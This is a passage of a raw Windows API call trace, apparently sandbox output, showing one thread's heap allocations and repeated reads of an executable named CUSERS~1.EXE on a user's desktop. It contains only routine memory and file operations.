hHeap=0x2ad0000) returned 1 [0073.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.682] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetCurrentThreadId () returned 0x9b0 [0073.682] GetLastError () returned 0x0 [0073.682] GetLastError () returned 0x0 [0073.682] GetLastError () returned 0x0 [0073.682] GetLastError () returned 0x0 [0073.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20138 [0073.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b20 [0073.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b20 | out: hHeap=0x2ad0000) returned 1 [0073.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8aea0 [0073.683] GetLastError () returned 0x0 [0073.683] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8bc8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.683] GetFileType (hFile=0x1e8) returned 0x1 [0073.683] GetLastError () returned 0x0 [0073.683] GetCurrentThreadId () returned 0x9b0 [0073.683] GetLastError () returned 0x0 [0073.683] GetFileType (hFile=0x1e8) returned 0x1 [0073.683] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b8c44 | out: lpFileInformation=0x9b8c44) returned 1 [0073.683] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c58, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0073.683] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0073.683] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c50, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0073.683] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0073.683] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c48, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0073.683] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0073.683] GetLastError () returned 0x0 [0073.683] GetCurrentThreadId () returned 0x9b0 [0073.683] GetLastError () returned 0x0 [0073.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0073.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0073.683] GetLastError () returned 0x0 [0073.683] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7333914, lpDistanceToMoveHigh=0x9b8cf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8cf8*=0) returned 0x6fe81a [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] GetLastError () returned 0x0 [0073.684] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7326511, lpDistanceToMoveHigh=0x9b9090*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9090*=0) returned 0x6fcb2f [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9dc) returned 0x2c2b208 [0073.684] GetLastError () returned 0x0 [0073.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1e240 [0073.684] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1e240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9044, lpOverlapped=0x0 | out: lpBuffer=0x2c1e240*, lpNumberOfBytesRead=0x9b9044*=0x1000, lpOverlapped=0x0) returned 1 [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] GetLastError () returned 0x0 [0073.684] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b7d1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b7d1c*=0) returned 0x6fdb2f [0073.684] GetLastError () returned 0x0 [0073.684] GetCurrentThreadId () returned 0x9b0 [0073.684] GetLastError () returned 0x0 [0073.684] GetLastError () returned 0x0 [0073.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1e240 | out: hHeap=0x2ad0000) returned 1 [0073.685] CloseHandle (hObject=0x1e8) returned 1 [0073.685] GetLastError () returned 0x0 [0073.685] GetCurrentThreadId () returned 0x9b0 [0073.685] GetLastError () returned 0x0 [0073.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c2bbf0 [0073.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c78d18 [0073.685] GetLastError () returned 0x0 [0073.685] GetCurrentThreadId () returned 0x9b0 [0073.685] GetLastError () returned 0x0 [0073.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2bbf0 | out: hHeap=0x2ad0000) returned 1 [0073.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c78d18, Size=0x146f) returned 0x2c78d18 [0073.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2b208 | out: hHeap=0x2ad0000) returned 1 [0073.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3b0) returned 0x2c31d60 [0073.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17988, Size=0x20) returned 0x2a1fba0 [0073.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a19130 [0073.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a197a8 [0073.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x445) returned 0x2c2b208 [0073.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0e68 [0073.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x2ac1978 [0073.686] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1978, Size=0xe8) returned 0x2ac2b60 [0073.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac2b60 | out: hHeap=0x2ad0000) returned 1 [0073.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c78d18 | out: hHeap=0x2ad0000) returned 1 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0073.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd850 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2c2bae0 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2bae0 | out: hHeap=0x2ad0000) returned 1 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] GetCurrentThreadId () returned 0x9b0 [0073.686] GetLastError () returned 0x0 [0073.686] GetLastError () returned 0x0 [0073.686] GetLastError () returned 0x0 [0073.686] GetLastError () returned 0x0 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20258 [0073.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a00 | out: hHeap=0x2ad0000) returned 1 [0073.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af90 [0073.687] GetLastError () returned 0x0 [0073.687] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8578, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.687] GetFileType (hFile=0x1e8) returned 0x1 [0073.687] GetLastError () returned 0x0 [0073.687] GetCurrentThreadId () returned 0x9b0 [0073.687] GetLastError () returned 0x0 [0073.687] GetFileType (hFile=0x1e8) returned 0x1 [0073.687] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b85f4 | out: lpFileInformation=0x9b85f4) returned 1 [0073.687] FileTimeToLocalFileTime (in: lpFileTime=0x9b8608, lpLocalFileTime=0x9b8638 | out: lpLocalFileTime=0x9b8638) returned 1 [0073.687] FileTimeToSystemTime (in: lpFileTime=0x9b8638, lpSystemTime=0x9b8628 | out: lpSystemTime=0x9b8628) returned 1 [0073.687] FileTimeToLocalFileTime (in: lpFileTime=0x9b8600, lpLocalFileTime=0x9b8638 | out: lpLocalFileTime=0x9b8638) returned 1 [0073.687] FileTimeToSystemTime (in: lpFileTime=0x9b8638, lpSystemTime=0x9b8628 | out: lpSystemTime=0x9b8628) returned 1 [0073.687] FileTimeToLocalFileTime (in: lpFileTime=0x9b85f8, lpLocalFileTime=0x9b8638 | out: lpLocalFileTime=0x9b8638) returned 1 [0073.687] FileTimeToSystemTime (in: lpFileTime=0x9b8638, lpSystemTime=0x9b8628 | out: lpSystemTime=0x9b8628) returned 1 [0073.687] GetLastError () returned 0x0 [0073.687] GetCurrentThreadId () returned 0x9b0 [0073.687] GetLastError () returned 0x0 [0073.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0073.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0073.687] GetLastError () returned 0x0 [0073.687] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7329014, lpDistanceToMoveHigh=0x9b86a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b86a8*=0) returned 0x6fd4f6 [0073.688] GetLastError () returned 0x0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] GetLastError () returned 0x0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] GetLastError () returned 0x0 [0073.688] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7367420, lpDistanceToMoveHigh=0x9b8a40*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8a40*=0) returned 0x706afc [0073.688] GetLastError () returned 0x0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] GetLastError () returned 0x0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10f9) returned 0x2ba7048 [0073.688] GetLastError () returned 0x0 [0073.688] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ba705c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b8a08, lpOverlapped=0x0 | out: lpBuffer=0x2ba705c*, lpNumberOfBytesRead=0x9b8a08*=0x1000, lpOverlapped=0x0) returned 1 [0073.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1c230 [0073.688] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1c230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b89f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1c230*, lpNumberOfBytesRead=0x9b89f4*=0x1000, lpOverlapped=0x0) returned 1 [0073.688] GetLastError () returned 0x0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] GetLastError () returned 0x0 [0073.688] GetCurrentThreadId () returned 0x9b0 [0073.688] GetLastError () returned 0x0 [0073.688] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b76cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b76cc*=0) returned 0x708afc [0073.688] GetLastError () returned 0x0 [0073.689] GetCurrentThreadId () returned 0x9b0 [0073.689] GetLastError () returned 0x0 [0073.689] GetLastError () returned 0x0 [0073.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1c230 | out: hHeap=0x2ad0000) returned 1 [0073.689] CloseHandle (hObject=0x1e8) returned 1 [0073.689] GetLastError () returned 0x0 [0073.689] GetCurrentThreadId () returned 0x9b0 [0073.689] GetLastError () returned 0x0 [0073.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ba8150 [0073.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c78d18 [0073.689] GetLastError () returned 0x0 [0073.689] GetCurrentThreadId () returned 0x9b0 [0073.689] GetLastError () returned 0x0 [0073.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8150 | out: hHeap=0x2ad0000) returned 1 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c78d18, Size=0x2329) returned 0x2c78d18 [0073.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7048 | out: hHeap=0x2ad0000) returned 1 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x228) returned 0x2c2d660 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17af0, Size=0x20) returned 0x2a1fb00 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a18d40 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x64) returned 0x2a19658 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2a8af50 [0073.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0e68 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x2ac1df8 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x298) returned 0x2c2d890 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1df8, Size=0xe8) returned 0x2ac2e30 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2e30, Size=0x120) returned 0x2ba5468 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5468, Size=0x160) returned 0x2c37730 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37730, Size=0x1a8) returned 0x2ac9620 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9620, Size=0x1f8) returned 0x2c30190 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x215) returned 0x2c2db30 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30190, Size=0x250) returned 0x2ac4228 [0073.690] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2c2b948 [0073.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2b948 | out: hHeap=0x2ad0000) returned 1 [0073.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c78d18 | out: hHeap=0x2ad0000) returned 1 [0073.690] GetCurrentThreadId () returned 0x9b0 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0073.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd9d8 [0073.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a6a8 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.691] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0073.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7930 | out: hHeap=0x2ad0000) returned 1 [0073.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8768 [0073.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8768 | out: hHeap=0x2ad0000) returned 1 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8df8 [0073.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.691] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8df8 | out: hHeap=0x2ad0000) returned 1 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.692] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0073.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0073.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0073.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.693] GetLastError () returned 0x0 [0073.693] GetLastError () returned 0x0 [0073.693] GetLastError () returned 0x0 [0073.693] GetLastError () returned 0x0 [0073.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ff58 [0073.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17868 [0073.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17868 | out: hHeap=0x2ad0000) returned 1 [0073.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0073.693] GetLastError () returned 0x0 [0073.693] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.693] GetFileType (hFile=0x1e8) returned 0x1 [0073.693] GetLastError () returned 0x0 [0073.693] GetCurrentThreadId () returned 0x9b0 [0073.694] GetLastError () returned 0x0 [0073.694] GetFileType (hFile=0x1e8) returned 0x1 [0073.694] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0073.694] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0073.694] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0073.694] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0073.694] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0073.694] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: 